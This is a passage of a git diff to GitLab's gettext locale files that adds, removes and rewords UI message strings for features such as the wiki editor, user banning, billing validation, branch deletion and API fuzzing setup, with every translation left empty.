@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index 36a9c7a6cae..85a7be0feaa 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:20\n"
+"PO-Revision-Date: 2021-06-01 20:39\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
